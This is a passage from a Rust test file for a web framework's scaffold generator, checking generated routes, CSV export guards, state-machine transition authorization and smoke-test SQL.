"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
let schema = fs::read_to_string(tmp.path().join("src/schema.rs")).unwrap();
let model = fs::read_to_string(tmp.path().join("src/models/post.rs")).unwrap();
assert!(
!schema.contains("search_vector"),
"search_vector must not be in schema.rs: {schema}"
);
assert!(
!model.contains("pub search_vector"),
"search_vector must not be a struct field: {model}"
);
}
/// Issue #1319: the search box is gated off for `--live` variants (the SSE
/// `<ul>` OOB contract differs), but the model/repository/migration still
/// receive `searchable`.
#[test]
fn searchable_search_box_gated_off_for_live() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
..Default::default()
},
live: true,
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
!routes.contains("active_search(")
&& !routes.contains("active_search_input(")
&& !routes.contains("pub async fn search("),
"live variant must not emit a search box: {routes}"
);
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(
repo.contains(", searchable)"),
"live repo must still carry searchable: {repo}"
);
}
#[test]
fn kind_is_sortable_excludes_blobs_and_enums() {
// #1126: only kinds the model macro emits a sort arm for get a
// `.sortable(..)` header — otherwise the link would be a dead affordance.
assert!(kind_is_sortable(FieldKind::String));
assert!(kind_is_sortable(FieldKind::Text));
assert!(kind_is_sortable(FieldKind::I32));
assert!(kind_is_sortable(FieldKind::I64));
assert!(kind_is_sortable(FieldKind::Bool));
assert!(kind_is_sortable(FieldKind::F64));
assert!(kind_is_sortable(FieldKind::Uuid));
assert!(kind_is_sortable(FieldKind::DateTime));
assert!(kind_is_sortable(FieldKind::References));
assert!(kind_is_sortable(FieldKind::Decimal {
precision: 12,
scale: 2
}));
// Excluded: binary blobs and closed-set enums.
assert!(!kind_is_sortable(FieldKind::Bytea));
assert!(!kind_is_sortable(FieldKind::Attachment));
assert!(!kind_is_sortable(FieldKind::Enum));
// Issue #1341: `serde_json::Value` isn't in the `#[model]` macro's
// orderable allowlist either.
assert!(!kind_is_sortable(FieldKind::Json));
}
/// A bare `Field` for the `csv_value_expr` table below.
fn csv_test_field(name: &str, kind: FieldKind, nullable: bool) -> Field {
Field {
name: name.to_string(),
kind,
nullable,
variants: Vec::new(),
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
}
}
#[test]
fn csv_value_expr_never_stringifies_an_option_as_none() {
// #1315 AC7: a nullable column must land on `unwrap_or_default()`, i.e.
// the empty string. A missing arm is what would silently export the
// literal `None` into a spreadsheet cell.
//
// The list below is every `FieldKind` that exists today; `csv_value_expr`
// ends in catch-all arms, so a NEW kind would be covered by fallthrough
// and silently uncovered here. Add it to this list when you add it to the
// enum — same convention as `kind_is_sortable_excludes_blobs_and_enums`.
for kind in [
FieldKind::String,
FieldKind::Text,
FieldKind::RichText,
FieldKind::Slug,
FieldKind::I32,
FieldKind::I64,
FieldKind::Bool,
FieldKind::F32,
FieldKind::F64,
FieldKind::Uuid,
FieldKind::NaiveDateTime,
FieldKind::DateTime,
FieldKind::Bytea,
FieldKind::Attachment,
FieldKind::References,
FieldKind::Enum,
FieldKind::Decimal {
precision: 10,
scale: 2,
},
] {
let expr = csv_value_expr(&csv_test_field("col", kind, true));
// `unwrap_or_default()` closes the value expression itself; a
// text-backed kind then wraps it in the `csv_text_cell` guard, so
// the trailing `)` may belong to that wrapper.
let unwrapped = expr
.strip_prefix("csv_text_cell(")
.and_then(|rest| rest.strip_suffix(')'))
.unwrap_or(&expr);
assert_eq!(
csv_kind_is_text(kind),
expr.starts_with("csv_text_cell("),
"the formula guard must be applied to exactly the text kinds, \
and {kind:?} disagrees: {expr}"
);
assert!(
unwrapped.ends_with("unwrap_or_default()"),
"nullable {kind:?} must serialize to an empty cell, got: {expr}"
);
let debug_fmt = concat!('{', ":?", '}');
assert!(
!expr.contains(debug_fmt),
"nullable {kind:?} must not debug-format an Option, got: {expr}"
);
}
}
#[test]
fn csv_value_expr_handles_the_kinds_without_a_display_impl() {
// `Blob` and `Vec<u8>` have no `Display`, so a bare `.to_string()`
// would not compile. Attachment is ALWAYS `Option<Blob>`, hence the
// same expression whether or not the field was declared nullable.
// The attachment key carries the `csv_text_cell` guard: it ends in a
// browser-supplied filename and can begin with `=`. A `Bytea` is
// `\x` + hex (issue #2330), which cannot, so it takes no guard.
let attachment = csv_value_expr(&csv_test_field("cover", FieldKind::Attachment, false));
assert_eq!(
attachment,
"csv_text_cell(self.cover.as_ref().map(|blob| blob.key.clone()).unwrap_or_default())"
);
assert_eq!(
csv_value_expr(&csv_test_field("cover", FieldKind::Attachment, true)),
attachment
);
assert_eq!(
csv_value_expr(&csv_test_field("payload", FieldKind::Bytea, false)),
"bytea_to_hex(&self.payload)"
);
assert_eq!(
csv_value_expr(&csv_test_field("payload", FieldKind::Bytea, true)),
"self.payload.as_deref().map(bytea_to_hex).unwrap_or_default()"
);
// An `Enum` column's Rust type is the generated enum, NOT `String`
// (see `Field::rust_type`), so it must take the `Display` arm rather
// than the `.clone()` one — `.clone()` there yields the wrong type.
assert_eq!(
csv_value_expr(&csv_test_field("status", FieldKind::Enum, false)),
"self.status.to_string()"
);
}
#[test]
fn csv_value_expr_json_uses_display_and_carries_the_formula_guard() {
// Issue #1341: `serde_json::Value` DOES implement `Display` (unlike
// `Blob`/`Vec<u8>`), so it falls through to the generic `.to_string()`
// arm — but is still wrapped in `csv_text_cell` (`csv_kind_is_text`),
// defensively guarding the rare top-level-negative-number case.
assert_eq!(
csv_value_expr(&csv_test_field("config", FieldKind::Json, false)),
"csv_text_cell(self.config.to_string())"
);
assert_eq!(
csv_value_expr(&csv_test_field("config", FieldKind::Json, true)),
"csv_text_cell(self.config.as_ref().map(ToString::to_string).unwrap_or_default())"
);
assert!(csv_kind_is_text(FieldKind::Json));
}
#[test]
fn csv_schema_impl_headers_and_record_stay_the_same_length() {
// `export_csv` writes `csv_columns()` as the header row and
// `to_csv_record()` as each data row: a length mismatch is a runtime
// `UnequalLengths` error on the very first export.
let fields = vec![
csv_test_field("title", FieldKind::String, false),
csv_test_field("views", FieldKind::I64, true),
csv_test_field("cover", FieldKind::Attachment, true),
];
let rendered = render_csv_schema_impl("Post", &fields);
let headers = rendered
.split_once("&[")
.expect("csv_columns literal")
.1
.split_once(']')
.expect("csv_columns literal end")
.0;
let record = rendered
.split_once("vec![")
.expect("to_csv_record literal")
.1
.split_once("\n ]")
.expect("to_csv_record literal end")
.0;
assert_eq!(
headers.matches('"').count() / 2,
record
.lines()
.filter(|l| l.trim_end().ends_with(','))
.count(),
"csv_columns and to_csv_record must have one entry each:\n{rendered}"
);
// id first, created_at last, declared columns in between.
assert!(
headers.starts_with("\"id\"") && headers.ends_with("\"created_at\""),
"{headers}"
);
}
#[test]
fn index_wires_allowlisted_sort_filter() {
// #1126: the generated index extracts ListQuery, calls repo.list, and
// marks scalar columns sortable with a symmetric data_table config.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"body:Text".into(),
"published:bool".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("list_query: ListQuery,"), "{routes}");
assert!(
routes.contains("repo.list(&list_query, &page_req)"),
"{routes}"
);
assert!(routes.contains(".sortable(\"id\")"), "{routes}");
assert!(routes.contains(".sortable(\"title\")"), "{routes}");
assert!(
routes.contains(".active_dir(list_query.direction())"),
"{routes}"
);
}
#[test]
fn index_data_table_cell_handles_nullable_field() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:Option<String>".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("unwrap_or_default"), "{routes}");
}
#[test]
fn index_data_table_has_show_link_column() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("paths::show(row.id)"), "{routes}");
assert!(routes.contains("row.id"), "{routes}");
}
#[test]
fn sharded_index_uses_data_table() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["tenant_id:i64".into(), "title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
sharded: true,
shard_key: Some("tenant_id".into()),
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("data_table("), "{routes}");
assert!(routes.contains("from_shard"), "{routes}");
}
#[test]
fn live_index_keeps_sse_list_container() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname=\"x\"\n\n[dependencies]\nautumn-web = \"0.6.0\"\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
live: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Live variant must keep the ul/li SSE contract intact
assert!(routes.contains("ul id=\"posts-list\""), "{routes}");
assert!(routes.contains("sse-connect=(paths::events())"), "{routes}");
}
#[test]
fn plan_scaffold_live_views() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname=\"x\"\n\n[dependencies]\nautumn-web = \"0.6.0\"\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
live: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("/posts/events"));
assert!(routes.contains("autumn_web::sse::stream"));
assert!(routes.contains("hx-ext=\"sse\""));
assert!(routes.contains("sse-connect=(paths::events())"));
assert!(routes.contains("hx-swap=\"none\""));
assert!(routes.contains("autumn_web::htmx::HTMX_JS_PATH"));
assert!(routes.contains("autumn_web::htmx::HTMX_SSE_JS_PATH"));
assert!(routes.contains("title: autumn_web::hooks::Patch::Set(new.title.clone())"));
let main_rs = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(main_rs.contains("routes::posts::events"));
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(repo.contains("broadcasts = true"));
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(cargo.contains("\"ws\""));
assert!(cargo.contains("\"maud\""));
assert!(cargo.contains("\"htmx\""));
}
// ── property_list scaffold conformance (issue #1120) ──────────────────
#[test]
fn show_uses_property_list_widget_with_declared_fields() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"body:Text".into(),
"published:bool".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// show handler references property_list widget
assert!(
routes.contains("autumn_web::widgets::property_list"),
"show must use property_list widget: {routes}"
);
// Each declared field appears with humanized label
assert!(
routes.contains("\"Title\""),
"show must list 'title' field: {routes}"
);
assert!(
routes.contains("\"Body\""),
"show must list 'body' field: {routes}"
);
assert!(
routes.contains("\"Published\""),
"show must list 'published' field: {routes}"
);
// id and created_at always present
assert!(routes.contains("\"Id\""), "show must include id: {routes}");
assert!(
routes.contains("\"Created at\""),
"show must include created_at: {routes}"
);
}
#[test]
fn show_property_list_label_humanization() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"published_at:NaiveDateTime".into(),
"user_name:String".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// humanized: first word capitalized, rest lowercase (snake_case → "Word rest")
assert!(
routes.contains("\"Published at\""),
"humanize must produce 'Published at': {routes}"
);
assert!(
routes.contains("\"User name\""),
"humanize must produce 'User name': {routes}"
);
}
#[test]
fn show_includes_defaulted_fields_in_property_list() {
// Regression test: fields with `#[default]` are excluded from the
// form (form_fields), but must still appear in the show property list.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "views:i64".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
defaults: vec!["views=0".to_string()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("\"Views\""),
"show must include defaulted field 'views': {routes}"
);
}
// ── state-machine transitions scaffold conformance (issue #1326) ──────
#[test]
fn scaffold_without_state_machine_emits_no_transition_wiring() {
// AC5: a model WITHOUT any `:states(…)` field keeps the pre-#1326 `show`
// handler and route set byte-for-byte — no `show_view` helper, no
// `/transitions/` route, and the original three-arg `show` signature.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
!routes.contains("/transitions/"),
"no-state-machine scaffold must not emit any transition route: {routes}"
);
assert!(
!routes.contains("fn show_view"),
"no-state-machine scaffold must not extract a show_view helper: {routes}"
);
assert!(
!routes.contains("transition_controls"),
"no-state-machine scaffold must not render transition controls: {routes}"
);
// The original inline `show` signature is unchanged (no CSRF params).
assert!(
routes.contains(
"pub async fn show(id: Path<i64>, mut db: Db, flash: Flash) -> AutumnResult<Markup> {"
),
"no-state-machine `show` signature must be unchanged: {routes}"
);
}
#[test]
fn scaffold_with_state_machine_emits_transition_route_and_controls() {
// A model WITH a `:states(…)` field generates the transition route, the
// `transition_{field}_to` call, both the 303 success and 422 error
// branches, a shared `show_view`, and a `transition_controls(` call.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Order",
&[
"status:String:states(draft -> published: can_publish, published -> archived)"
.into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/orders.rs")).unwrap();
// The transition route: `POST /orders/{id}/transitions/status`.
assert!(
routes.contains("#[post(\"/orders/{id}/transitions/status\")]"),
"must emit the transition POST route: {routes}"
);
assert!(
routes.contains("pub async fn transition_status("),
"must emit the transition handler: {routes}"
);
// The handler drives the macro-emitted state-machine method.
assert!(
routes.contains("row.transition_status_to(&target)"),
"transition handler must call transition_status_to: {routes}"
);
// Success branch: 303 redirect to the show page.
assert!(
routes.contains("Ok(autumn_web::Redirect::to(&paths::show(*id)).into_response())"),
"transition handler must 303-redirect on a legal edge: {routes}"
);
// Error branch: 422 re-render of the detail page, record unchanged.
assert!(
routes.contains("autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY"),
"transition handler must 422 on an illegal edge: {routes}"
);
// The detail page markup is shared through `show_view`.
assert!(
routes.contains("async fn show_view("),
"must extract a shared show_view helper: {routes}"
);
// The show view renders transition controls fed by the macro const.
assert!(
routes.contains("autumn_web::widgets::transition_controls(&paths::transition_status(row.id), \"status\", &row.status, Order::__AUTUMN_SM_STATUS_TRANSITIONS,"),
"show view must render transition_controls for the state-machine field: {routes}"
);
// The transition endpoint is registered in the paths! module.
assert!(
routes.contains("transition_status,"),
"paths! must register the transition route name: {routes}"
);
// Security (issue #1326 IDOR fix): with record-policy wiring on (the
// default for non-`--api` scaffolds), the transition handler threads the
// same `State` + `Session` pair as `update` and record-authorizes the
// actor against the loaded row with the `"update"` action BEFORE writing,
// so a transition cannot bypass the record policy.
assert!(
routes.contains(
"autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,"
),
"transition handler must thread the State extractor when policy wiring is on: {routes}"
);
assert!(
routes.contains("session: autumn_web::session::Session,"),
"transition handler must thread the Session extractor when policy wiring is on: {routes}"
);
assert!(
routes.contains(
"autumn_web::authorization::authorize::<Order>(&state, &session, \"update\", &row).await?;"
),
"transition handler must record-authorize the actor against the loaded row: {routes}"
);
}
#[test]
fn scaffold_with_state_machine_no_policy_emits_no_authz_preamble() {
// AC5 / IDOR-fix gating: a `--no-policy` scaffold still emits the
// transition route, but WITHOUT the authorize preamble — exactly the
// pre-fix `id/db/flash/csrf/body` handler. The authz preamble must appear
// only in the state-machine transition route AND only when policy is on.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Order",
&[
"status:String:states(draft -> published: can_publish, published -> archived)"
.into(),
],
"20260427000000",
&ScaffoldOptions {
no_policy: true,
..Default::default()
},
)
.unwrap();
let routes = action_contents(&plan, "src/routes/orders.rs");
// The transition route is still generated…
assert!(
routes.contains("pub async fn transition_status("),
"--no-policy state-machine scaffold must still emit the transition handler: {routes}"
);
// …but with no record-policy authorization wiring.
assert!(
!routes.contains("authorize::<Order>"),
"--no-policy transition handler must not wire authorize: {routes}"
);
assert!(
!routes.contains("session: autumn_web::session::Session"),
"--no-policy transition handler must not thread a Session extractor: {routes}"
);
}
#[test]
fn scaffold_with_state_machine_mounts_transition_route_in_main() {
// P1 (issue #1326): the generated `main.rs` router must actually MOUNT
// each state-machine field's `transition_{field}` handler — otherwise the
// show page's `transition_controls` form POSTs to an unmounted route and
// 404s. The handler being present in the `routes::{plural}` module and in
// the name-only `paths!` helper is not enough; it must be in the router's
// `routes![…]` set.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Order",
&[
"status:String:states(draft -> published, published -> archived)".into(),
"title:String".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(
main.contains("routes::orders::transition_status"),
"main.rs must MOUNT the transition handler, not just declare it in paths!: {main}"
);
// Mounted alongside the standard CRUD handlers.
assert!(
main.contains("routes::orders::update") && main.contains("routes::orders::destroy"),
"standard CRUD handlers must still be mounted: {main}"
);
}
#[test]
fn scaffold_without_state_machine_mounts_no_transition_route_in_main() {
// AC5: a model with no `:states(…)` field mounts exactly the pre-#1326
// route set — no `transition_` entry, no `/transitions/` path.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(
!main.contains("transition_"),
"no-state-machine scaffold must mount no transition route: {main}"
);
assert!(
!main.contains("/transitions/"),
"no-state-machine scaffold must reference no transition path: {main}"
);
}
#[test]
fn scaffold_state_machine_field_is_transition_only_on_update() {
// P2 (issue #1326): a `:states(…)` column is transition-only. It must be
// EXCLUDED from the ordinary update surfaces — the edit-form input and the
// update handler's `.set((…))` tuple — so a plain `POST /{plural}/{id}/
// update` (or a JSON body) cannot set `status=<anything>` and bypass
// `transition_status_to` / its guards. It must be KEPT on the create
// surface (initial state), the `New{Model}` insert path, and the show
// page's transition controls.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Order",
&[
"status:String:states(draft -> published, published -> archived)".into(),
"title:String".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/orders.rs")).unwrap();
// ── excluded from the ordinary UPDATE path ───────────────────────────
// The update handler's `.set((…))` tuple must NOT set the state column
// (that form — `orders::status.eq(new.status.clone())` — is the bypass;
// the transition route instead sets `orders::status.eq(new_state)`).
assert!(
!routes.contains("orders::status.eq(new.status.clone())"),
"the update `.set((…))` tuple must exclude the state-machine column: {routes}"
);
assert!(
routes.contains("orders::title.eq(new.title.clone())"),
"the update `.set((…))` tuple must still set non-state columns: {routes}"
);
// The edit form drops the state input; the shared helper takes the flag
// and the edit call passes `true`.
assert!(
routes.contains("exclude_state_fields: bool"),
"the shared form helper must take an exclude_state_fields flag: {routes}"
);
assert!(
routes.contains("form = form.exclude(\"status\");"),
"the form helper must exclude the state column when asked: {routes}"
);
assert!(
routes.contains(
"order_form_for(&changeset, paths::update(*id), \"Save\", csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), true)"
),
"the EDIT form call must exclude the state field (pass `true`): {routes}"
);
// ── kept on the CREATE path + New{Model} insert ──────────────────────
assert!(
routes.contains(
"order_form_for(&changeset, paths::create(), \"Create\", csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), false)"
),
"the CREATE form call must keep the state field (pass `false`): {routes}"
);
// `OrderForm` keeps the column (serde-defaulted so an update submit that
// omits it still decodes) and `into_new` seeds the initial state.
assert!(
routes.contains("#[serde(default)]\n pub status: String,"),
"OrderForm must keep a serde-defaulted state column: {routes}"
);
assert!(
routes.contains("status: form.status.clone(),"),
"into_new must seed the initial state on create: {routes}"
);
// ── kept on the SHOW page's transition controls ──────────────────────
assert!(
routes.contains("transition_controls(&paths::transition_status(row.id), \"status\""),
"the show view must still render the state column's transition controls: {routes}"
);
}
#[test]
fn scaffold_without_state_machine_keeps_field_on_update_surfaces() {
// AC5: a no-state-machine model's update form/handler are unchanged — no
// exclude flag, every field set on the update path.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
!routes.contains("exclude_state_fields"),
"no-state-machine form helper must not gain an exclude flag: {routes}"
);
assert!(
routes.contains("posts::title.eq(new.title.clone())")
&& routes.contains("posts::body.eq(new.body.clone())"),
"no-state-machine update must set every column: {routes}"
);
}
#[test]
fn smoke_test_default_value_containing_semicolon_does_not_corrupt_sql() {
// Regression test (PR review, issue #1023): `create_table_sql_with_metadata_and_id`
// emits `DEFAULT '...'` verbatim for a String/Text `--default`, so a
// value containing a semicolon (e.g. a bio with "; " in it) must not
// be split into two broken `db.execute_sql(...)` calls.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
defaults: vec!["title=hello;world".to_string()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("DEFAULT 'hello;world'"),
"generated default literal must survive intact: {test}"
);
// Every db.execute_sql(...) call's string literal argument must itself
// be balanced/complete SQL -- i.e. the CREATE TABLE statement was not
// split mid-literal. Count occurrences of "CREATE TABLE" (must be
// exactly one, not spread across two calls).
assert_eq!(
test.matches("CREATE TABLE").count(),
1,
"CREATE TABLE must appear in a single execute_sql call, not split across two: {test}"
);
}
// ── enum field: generated out-of-set rejection smoke test (issue #1030) ─
#[test]
fn scaffold_smoke_test_asserts_out_of_set_post_rejected() {
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("CHECK (status IN ('draft', 'published', 'archived'))"),
"the raw-INSERT test needs the real CHECK constraint in its setup SQL: {test}"
);
assert!(
test.contains("fn posts_rejects_out_of_set_status"),
"got:\n{test}"
);
assert!(test.contains(".assert_status(400)"), "got:\n{test}");
assert!(
test.contains(".assert_body_contains(\"status\")"),
"got:\n{test}"
);
assert!(
test.contains("is_err()"),
"must assert the raw out-of-set INSERT fails at the DB layer: {test}"
);
assert!(
test.contains("posts::table.count()"),
"must assert zero rows were written: {test}"
);
}
#[test]
fn scaffold_enum_rejection_test_uses_idempotent_create_table() {
// Regression test: both the base index test and the enum-rejection
// test run against the same shared `TestDb` in the same test binary
// and both issue a `CREATE TABLE posts (...)` as part of setup —
// without `IF NOT EXISTS` on (at least) one of them, whichever test
// runs second fails with "relation \"posts\" already exists" instead
// of reaching its actual assertions.
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
let enum_test_pos = test
.find("fn posts_rejects_out_of_set_status")
.unwrap_or_else(|| panic!("expected the enum rejection test: {test}"));
let enum_test_setup = &test[enum_test_pos..];
assert!(
enum_test_setup.contains("CREATE TABLE IF NOT EXISTS posts ("),
"the enum-rejection test's own CREATE TABLE must be idempotent: {enum_test_setup}"
);
let base_test_setup = &test[..enum_test_pos];
assert!(
base_test_setup.contains("CREATE TABLE posts (")
&& !base_test_setup.contains("CREATE TABLE IF NOT EXISTS posts ("),
"the base index test's own setup must be unchanged (plain CREATE TABLE, \
matching the real migration exactly): {base_test_setup}"
);
}
#[test]
fn scaffold_enum_rejection_test_uses_idempotent_create_index() {
// Regression test: `setup_calls` also contains `CREATE INDEX` for any
// `--index`/`references` field, not just the `CREATE TABLE` — the
// enum-rejection test's own copy of that index statement needs the
// same `IF NOT EXISTS` treatment, or it panics with "relation
// \"idx_posts_title\" already exists" when it runs after the base test.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:enum{draft,published,archived}".into(),
],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
indexes: vec!["title".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
let enum_test_pos = test
.find("fn posts_rejects_out_of_set_status")
.unwrap_or_else(|| panic!("expected the enum rejection test: {test}"));
let enum_test_setup = &test[enum_test_pos..];
assert!(
enum_test_setup.contains("CREATE INDEX IF NOT EXISTS idx_posts_title"),
"the enum-rejection test's own CREATE INDEX must be idempotent: {enum_test_setup}"
);
let base_test_setup = &test[..enum_test_pos];
assert!(
base_test_setup.contains("CREATE INDEX idx_posts_title")
&& !base_test_setup.contains("CREATE INDEX IF NOT EXISTS idx_posts_title"),
"the base index test's own setup must be unchanged (plain CREATE INDEX, \
matching the real migration exactly): {base_test_setup}"
);
}
#[test]
fn scaffold_api_smoke_test_asserts_check_constraint_but_no_http_assertion() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:enum{draft,published,archived}".into(),
],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("fn posts_rejects_out_of_set_status"),
"got:\n{test}"
);
assert!(
test.contains("is_err()"),
"must assert the raw out-of-set INSERT fails at the DB layer: {test}"
);
assert!(
!test.contains(".assert_status(400)"),
"the --api smoke test has no HTML form route to POST to: {test}"
);
}
#[test]
fn scaffold_smoke_test_absent_when_no_enum_fields() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
!test.contains("rejects_out_of_set"),
"no enum field means no rejection test: {test}"
);
}
#[test]
fn scaffold_validation_smoke_test_max_only_rule_exceeds_bound() {
// Regression guard: a fixed-size "invalid" literal (e.g. 1000 `x`s)
// would itself satisfy a looser `max` bound like 2000, silently
// turning the smoke test's "invalid" submission valid and failing its
// own `.assert_status(422)` premise. The generated invalid value must
// scale with the declared `max` (here, more than 5 characters), and
// the generated valid value must stay within it (at most 5).
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:max=5".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
let invalid_line = test
.lines()
.find(|l| l.contains("let invalid_body"))
.expect("invalid_body line present");
let invalid_title = invalid_line
.split("title=")
.nth(1)
.and_then(|s| s.split('&').next())
.expect("title value in invalid_body");
assert!(
invalid_title.len() > 5,
"invalid value must exceed the declared max=5 bound: {invalid_line}"
);
let valid_line = test
.lines()
.find(|l| l.contains("let valid_body"))
.expect("valid_body line present");
let valid_title = valid_line
.split("title=")
.nth(1)
.and_then(|s| s.split('&').next())
.expect("title value in valid_body");
assert!(
valid_title.len() <= 5,
"valid value must satisfy the declared max=5 bound: {valid_line}"
);
}
#[test]
fn scaffold_validation_smoke_test_skips_absurdly_large_bound() {
// Regression guard (issue #1124 review): a declared bound like
// `length:min=1000000000` has no cheap, correct sample to generate —
// capping the sample length would either fail to violate a huge `max`
// or fail to satisfy a huge `min`, asserting something false. The
// generator must skip emitting this smoke test entirely rather than
// allocating a multi-GB string in the CLI process itself.
let tmp = project_with_main(default_main());
